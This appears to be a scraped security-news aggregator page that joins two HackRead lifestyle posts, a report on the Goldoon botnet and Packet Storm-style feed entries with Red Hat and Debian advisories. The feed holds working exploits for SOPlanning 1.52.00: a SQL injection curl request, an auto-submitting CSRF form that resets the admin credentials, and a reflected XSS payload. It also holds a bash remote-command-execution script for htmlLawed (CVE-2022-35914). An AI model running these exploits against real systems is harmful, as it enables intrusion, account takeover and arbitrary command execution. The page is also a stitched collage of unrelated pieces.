By Uzair Amir
Remember Minesweeper? It's not just a game - it's a hidden training ground for work skills! Sharpen your decision-making, focus, and strategic thinking with every click.
This is a post from HackRead.com Read the original post: A Mind at Play: Rediscovering Minesweeper in the Professional Arena

Do you remember the first time you stumbled upon Minesweeper online? It could be during a lazy afternoon at a school computer lab or a quick break at your first job. Something about that grid of grey squares beckons like a puzzle waiting to be solved—a momentary escape that, surprisingly, could be one of your best tools for professional growth today.

****The Puzzle of Decision-Making****

Imagine you’re back in that chair, the mouse under your fingertips. Each click in Minesweeper isn’t just a guess; it’s a decision with risks and rewards that are not unlike the choices you face in your career.

Like navigating through a particularly tricky business dilemma, each square you uncover on the Minesweeper grid teaches you more about the landscape, helping you make the next decision more informed. It’s a dance of logic and anticipation—skills that, when refined, translate into a sharp acumen for analyzing complex professional scenarios.

Remember that feeling when you correctly predict a mine’s location? That’s your analytical skills growing more strong, one click at a time.

****A Masterclass in Focus****

Now, think about the intense concentration Minesweeper demands. Each square could mean triumph or game over, akin to the high stakes of missing a critical detail in a client report or a coding error in a software launch.

This game hones your ability to focus and pay attention to the minutiae—skills that elevate the quality of your work and your productivity. The game’s grid challenges you to spot inconsistencies and patterns, just as in a complex dataset or a crucial project blueprint.

****Strategizing Several Steps Ahead****

Strategic foresight in Minesweeper involves planning several moves, assessing potential outcomes, and managing risks—essential for effective project management and long-term planning in the professional realm. Playing Minesweeper cultivates a mindset that values strategic preparation and adaptability, preparing you to steer projects and negotiations toward success.

****Unwind and Adapt****

Beyond sharpening your technical skills, Minesweeper is a refuge from the daily grind. The familiar grid offers a structured yet soothing distraction that can help clear your mind, akin to meditation. It’s not just about escaping stress but about adapting to it and managing it—key for sustaining performance during crunch times at work.

Moreover, the mental flexibility needed to toggle between strategies in the game mirrors the rapid switching between tasks that’s common in today’s workplace, enhancing your cognitive agility.

****Ready at Your Fingertips****

One of the most significant benefits of Minesweeper is its accessibility. Whether you have a ten-minute break or just a few moments between meetings, it can engage your brain without a substantial time investment. These short bursts of cognitive exercise can strengthen mental agility, fostering a strong cognitive reserve that enhances career longevity and success.

****Conclusion: More Than Just a Game****

As you integrate Minesweeper into your daily routine, you’ll find it’s more than nostalgic play; it’s a deliberate practice in cognitive enhancement. Each game is a step towards becoming a sharper, more attentive, and strategic professional. So, next time you need a break, consider spending it with Minesweeper—not just for fun but also for your professional development.

Rediscovering Minesweeper in this light might change how you view every click—as clearing mines and planting seeds for a more robust professional future.

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A Mind at Play: Rediscovering Minesweeper in the Professional Arena

By Uzair Amir
Is your coding class engaging and effective? Learn what makes the best online coding classes for kids fun, effective, and future-proof!
This is a post from HackRead.com Read the original post: A Checklist for What Every Online Coding Class for Kids Needs

Parents everywhere are eager to sign up their kids for online coding classes to ensure they’re ready for life and the workforce of the future. Nobody can say with 100% accuracy what the future will hold, but surely, in our digital society, it will be high-tech!

How can parents know which online coding classes are better than others? Here’s a checklist that outlines what the best coding classes offer.

****1\. Fun and Video Games Above All****

Parents want their kids to learn to code online, but having fun after school is even more important. The best coding programs embed games into their classes by teaching kids how to design and program their own video games, ones they can play afterwards with friends and family.

Parents and teachers won’t have to push kids very hard to learn when the goal is something they’re so hungry to achieve. Gamification dynamics make learning as addictive and engaging as playing video games.

****2\. Small Classes****

Some coding programs claim to teach STEM skills and everything kids will need to know in the future, but they’re overly packed with students, making for a distractive environment where learning is difficult. Students shouldn’t have to deal with busy teachers who are more concerned with classroom management than teaching.

The best coding courses limit sessions to four students per class, so every child gets their teacher’s full attention.

****3\. Leading Coding Languages****

Avoid the coding classes that rely too heavily on programs like Scratch, which is more of a drag-and-drop program designed to give kids a sense of what coding is like rather than a proper coding language employers look for in prospective employees. Nobody uses Scratch in the field to make video games, apps, or websites.

Instead, look for a program that teaches kids the popular, in-demand coding languages, such as:

*   C#
*   C++
*   Java
*   Python
*   JavaScript

The classes should be engaging for young students who are brand new to coding but never overwhelming. As students develop and hone their skills within each language, they progress to the next until they develop confidence and expertise in that language, too.

****4\. Expert Teachers****

Finally, the leading coding courses hire computer science and computer engineering students who also grew up playing video games to pass on their knowledge to the next generation. Such an approach has multiple benefits.

Kids should learn how to code games from teachers who also played computer games growing up and have the expertise and domain knowledge. Practically speaking, high school students have the perfect resources to speak to about the coding jobs available and where else programming can take them after school when their teachers are also navigating the same situation.

Every computer-related program for kids promises to give a strong foundation in STEM skills, but they’re not all the same in quality. Before signing up your child for an after-school coding course, you should know how to recognize a red flag or the signs of a great coding program when you see them.

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A Checklist for What Every Online Coding Class for Kids Needs

By Waqas
A new botnet called Goldoon targets D-Link routers and NAS devices putting them at risk of DDoS attacks and more. Learn how weak credentials leave you vulnerable and how to secure your network. pen_spark
This is a post from HackRead.com Read the original post: New Goldoon Botnet Targeting D-Link Devices by Exploiting 9-Year-Old Flaw

Cybersecurity researchers at Fortinet’s FortiGuard Labs have uncovered a new botnet threat dubbed “Goldoon” specifically targeting D-Link routers and network-attached storage (NAS) devices. This malware infects devices by exploiting the CVE-2015-2051 (CVSS score: 10.0) vulnerability, potentially putting user data and network security at risk.

It’s noteworthy to mention that CVE-2015-2051, a security vulnerability identified in February 2015, is nearly a decade old. This vulnerability primarily affects end-of-life devices.

In September 2022, Palo Alto Networks’ Unit 42 discovered that the same vulnerability was being exploited by the infamous Mirai botnet’s variant, known as MooBot, targeting D-Link devices. D-Link addressed the issue in 2015, and further details regarding their response can be found here.

According to the Fortinet report, Goldoon leverages brute-force attacks to gain access to D-Link devices. Brute-force attacks involve systematically trying different username and password combinations until gaining unauthorized access. The report suggests these attacks exploit weak default credentials or outdated firmware on targeted devices.

Once established, Goldoon transforms the infected device into a bot, adding it to a network of compromised machines under the control of the botnet operator. This network of bots can then be used for various malicious activities, including:

*   **Launching Distributed Denial-of-Service (DDoS) attacks:** Bombarding websites or online services with overwhelming traffic, causing them to crash or become unavailable to legitimate users.
*   **Data theft:** Stealing sensitive information like login credentials, financial details, or personal data stored on the infected device.
*   **Spreading malware:** Using the compromised device to propagate malware across a network further, potentially infecting other devices.

The report highlights the critical role of patching and updating firmware on D-Link devices. Outdated firmware often contains vulnerabilities that attackers can exploit. Fortinet recommends D-Link users to:

*   **Enable automatic firmware updates:** Most devices can download and install security updates automatically.
*   **Change default credentials:** Replace the factory-set username and password with a strong, unique combination.
*   **Implement strong network security practices:** Enable firewalls, use complex passwords, and be cautious when clicking on links or opening attachments from unknown senders.

> _“While CVE-2015-2051 is not a new vulnerability and presents a low attack complexity, it has a critical security impact that can lead to remote code execution. Once attackers successfully exploit this vulnerability, they can incorporate compromised devices into their botnet to launch further attacks We strongly recommend applying patches and updates whenever possible because of the ongoing development and introduction of new botnets.”_
> 
> FortiGuard Labs

Fortinet’s discovery of Goldoon serves as a reminder of the evolving cyber threat landscape. By prioritizing proper device security measures, D-Link users can minimize the risk of falling victim to this or similar botnet attacks.

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New Goldoon Botnet Targeting D-Link Devices by Exploiting 9-Year-Old Flaw

SOPlanning version 1.52.00 suffers from a remote SQL injection vulnerability in projects.php.

    Exploit Title: SOPlanning v1.52.00 'projets.php' SQLiApplication: SOPlanningVersion: 1.52.00Date: 4/22/24Exploit Author: Joseph McPeters (Liquidsky)Vendor Homepage: https://www.soplanning.org/en/Software Link: https://sourceforge.net/projects/soplanning/Tested on: LinuxCVE: Not yet assignedDescription: SOPlanning v1.52.00 is vulnerable to Authenticated SQL Injection via the 'projects.php' page.Instructions: Authenticate to the host, the credentials can be obtained using a CSRF exploit (more info included). Once valid credentials are obtained use either a GET/POST request to send the valid parameters that equal to valid SQLi.Vulnerable request parameters for request to "/www/projets.php":filtreGroupeProjet=1&statut[]=todo'+AND+(SELECT+8073+FROM+(SELECT(SLEEP(10)))PuxA)+AND+'Liquidsky'='Liquidsky&rechercheProjet=testThe above parameters can be sent as either a valid GET/POST request to trigger the SQLi.Example Curl Request To Re-Test SQLi:curl -i -s -k -X $'POST' \    -H $'Host: 127.0.0.1' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 130' -H $'Origin: http://127.0.0.1<http://127.0.0.1/>' -H $'Connection: close' -H $'Referer: http://127.0.0.1/soplanning/www/projets.php' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-User: ?1' \    -b $'dateDebut=23/04/2024; dateFin=23/06/2024; xposMoisWin=0; xposJoursWin=0; yposMoisWin=0; yposJoursWin=0; yposProjets=33; PHPSESSID=ovpbclvbc87uh7anfbq2luf9bi; soplanningplanning_=hhrtf0rgs562vm8rhn5i641481; baseLigne=users; baseColonne=jours; afficherTableauRecap=1; masquerLigneVide=0; statut_projet=%5B%22abort%22%2C%22archive%22%2C%22done%22%2C%22progress%22%2C%22todo%22%5D' \    --data-binary $'filtreGroupeProjet=1&statut[]=todo\'+AND+(SELECT+8073+FROM+(SELECT(SLEEP(10)))PuxA)+AND+\'Liquidsky\'=\'Liquidsky&rechercheProjet=test' \    $'http://127.0.0.1/soplanning/www/projets.php'  Note: Cookies need to be authenticated and request needs to be valid for valid SQLi. This curl request can be used with a proxy to reconstruct a valid request.

SOPlanning 1.52.00 SQL Injection

SOPlanning version 1.52.00 suffers from a cross site request forgery vulnerability in xajax_server.php.

<html>  <body>    <form action=https://fuzzlove.website/www/process/xajax_server.php method="POST">      <input type="hidden" name="xajax" value="submitFormProfil" />      <input type="hidden" name="xajaxr" value="" />      <input type="hidden" name="xajaxargs[]" value="ADM" />      <input type="hidden" name="xajaxargs[]" value=pwn@mail.lv<mailto:pwn@mail.lv> />      <input type="hidden" name="xajaxargs[]" value="password" />      <input type="hidden" name="xajaxargs[]" value="fr" />      <input type="hidden" name="xajaxargs[]" value="true" />      <input type="hidden" name="xajaxargs[]" value="false" />      <input type="hidden" name="xajaxargs[]" value="true" />      <input type="hidden" name="xajaxargs[]" value="true" />      <input type="hidden" name="xajaxargs[]" value="true" />      <input type="hidden" name="xajaxargs[]" value="false" />      <input type="hidden" name="xajaxargs[]" value="0" />      <input type="hidden" name="xajaxargs[]" value="1" />    </form>    <script>      document.forms[0].submit();    </script>  </body></html>

SOPlanning 1.52.00 Cross Site Request Forgery

SOPlanning version 1.52.00 suffers from a cross site scripting vulnerability in groupe_save.php.

Exploit Title: SOPlanning v1.52.00 'groupe_save.php' XSS (Reflected XSS)Application: SOPlanningVersion: 1.52.00Date: 4/22/24Exploit Author: Joseph McPeters (Liquidsky)Vendor Homepage: https://www.soplanning.org/en/Software Link: https://sourceforge.net/projects/soplanning/Tested on: LinuxCVE: Not yet assignedDescription: SOPlanning v1.52.00 is vulnerable to XSS via the 'groupe_id' parameters a remote unautheticated attacker can hijack the admin account or other users. The remote attacker can hijack a users session or credentials and perform a takeover of the entire platform.Example Payload:"><script>alert('LiQUiDSKY')</script><!--Reflected XSS: /soplanning/www/process/groupe_save.php?saved=1&groupe_id="><script>alert('LiQUiDSKY')</script><!--&nom=Project+NewAnalysis: The landing page takes into consideration the user input then redirects to a page where the XSS is shown the payload included in the exploit, escapes the variable where it is held, and comments out the rest to perform a valid reflected XSS attack against any authenticated user the payload was sent to.

SOPlanning 1.52.00 Cross Site Scripting

Red Hat Security Advisory 2024-2679-03 - An update for libxml2 is now available for Red Hat Enterprise Linux 9. Issues addressed include a use-after-free vulnerability.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_2679.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: libxml2 security updateAdvisory ID:        RHSA-2024:2679-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:2679Issue date:         2024-05-02Revision:           03CVE Names:          CVE-2024-25062====================================================================Summary: An update for libxml2 is now available for Red Hat Enterprise Linux 9.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:The libxml2 library is a development toolbox providing the implementation of various XML standards.Security Fix(es):* libxml2: use-after-free in XMLReader (CVE-2024-25062)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-25062References:https://access.redhat.com/security/updates/classification/#moderatehttps://bugzilla.redhat.com/show_bug.cgi?id=2262726

Red Hat Security Advisory 2024-2679-03

Red Hat Security Advisory 2024-2674-03 - An update for kernel is now available for Red Hat Enterprise Linux 8.6 Extended Update Support.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_2674.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: kernel security and bug fix updateAdvisory ID:        RHSA-2024:2674-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:2674Issue date:         2024-05-02Revision:           03CVE Names:          CVE-2020-36516====================================================================Summary: An update for kernel is now available for Red Hat Enterprise Linux 8.6 Extended Update Support.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:The kernel packages contain the Linux kernel, the core of any Linux operating system.Security fixes:* kernel: mlxsw: spectrum_acl_tcam: Fix stack corruption (CVE-2024-26586)Solution:https://access.redhat.com/articles/11258CVEs:CVE-2020-36516References:https://access.redhat.com/security/updates/classification/#moderatehttps://bugzilla.redhat.com/show_bug.cgi?id=2059928https://bugzilla.redhat.com/show_bug.cgi?id=2265645

Red Hat Security Advisory 2024-2674-03

Debian Linux Security Advisory 5676-1 - Security issues were discovered in Chromium, which could result in the execution of arbitrary code, denial of service or information disclosure.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA256- -------------------------------------------------------------------------Debian Security Advisory DSA-5676-1                   security@debian.orghttps://www.debian.org/security/                           Andres SalomonMay 02, 2024                          https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : chromiumCVE ID         : CVE-2024-4331 CVE-2024-4368Security issues were discovered in Chromium, which could resultin the execution of arbitrary code, denial of service or informationdisclosure.For the stable distribution (bookworm), these problems have been fixed inversion 124.0.6367.118-1~deb12u1.We recommend that you upgrade your chromium packages.For the detailed security status of chromium please refer toits security tracker page at:https://security-tracker.debian.org/tracker/chromiumFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQIzBAEBCAAdFiEEUAUk+X1YiTIjs19qZF0CR8NudjcFAmYzMtsACgkQZF0CR8NudjeJow//chgfC7BgVCbwFDpcCT7inL0/ikBr94LbLqd4cFyZaoZ+fDCktwWnw6NQJ3ua3mR6LoKZs+P8wsvR0nSXgYTPJPCK3Wn4yLK7t4tEZAgyjNIiJhKBtK4H3Y+sMitgBBxHgslK7nHjxd5gPk9We9qbYH5UihlmbVwHF3O2c2DYXQnloLPn5b7NbixuwosZna04+5T03h6jdRbaQuw9ZRM5uy4oqKccdrr9A78TZGL96c7MU1vGOUbkUJp7LMCnwXA0AJYi+NuB+CRE9q738t4JaY//2pLJw1fL8gney27yii8/J11UiVBfuRB9622gWNK3wS3ADIORQPBzt8TNWzy+DKg0W9ZbKmsxx0KvGqr8d04MeFDaM4KXH0CfNYSt89RzYxtMzlstTu/XkDj8CXNoTQIBrsDHft4/Ty6qs1s+ZWyv7VrF0sj99xdfDhrIGORUoeQdOe92jDaf9f8vRNDq4E9qPkLPyDbtx5ajDXY8jC/oVXx4lp8ZaLtF+GctGXQUM7jMPbRq5INP579R6aRv0uXW0niLsn9SYA4I1NbKgqAAGFibJI9LhYdHehggFCqzsqzrD9pjLaLflKGoenELAtgQdCRsu3uVFpEygpZJEqvm37ySDDCXIFEVGfBanWWaeQ3nbQI28+wKuA089kFznuq9ajHcjCeqMKEsj0/j1XI==pyNF-----END PGP SIGNATURE-----

Debian Security Advisory 5676-1

htmlLawed versions 1.2.5 and below proof of concept remote command execution exploit.

    #!/bin/bash# Exploit Title: htmlLawed <= 1.2.5 - Remote Code Execution# Date: 2024-05-02# Exploit Author: Miguel Redondo (aka d4t4s3c)# Vendor Homepage: https://www.bioinformatics.org/phplabware/internal_utilities/htmLawed# Software Link: https://github.com/kesar/HTMLawed# Version: <= 1.2.5# Tested on: Linux# Category: Web Application# CVE: CVE-2022-35914while getopts ":u:c:" arg; do  case ${arg} in    u) url=${OPTARG}; let parameter_counter+=1 ;;    c) cmd=${OPTARG}; let parameter_counter+=1 ;;  esacdoneif [ -z "${url}" ] || [ -z "${cmd}" ]; then  echo -e "\n[*] htmlLawed <= 1.2.5 - Remote Code Execution"  echo -e "\n[-] Usage: CVE-2022-35914.sh -u <url> -c <cmd>\n"  exit 1else  echo -e "\n[*] htmlLawed <= 1.2.5 - Remote Code Execution"  echo -e "\n[+] Executing Command: ${cmd}\n"  cmd_output=$(curl -s -d "sid=foo&hhook=exec&text=${cmd}" -b "sid=foo" ${url} | egrep '\&nbsp; \[[0-9]+\] =\>' | sed -E 's/\&nbsp; \[[0-9]+\] =\> (.*)<br \/>/\1/')  echo -e "${cmd_output}\n"  exit 0fi

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#linux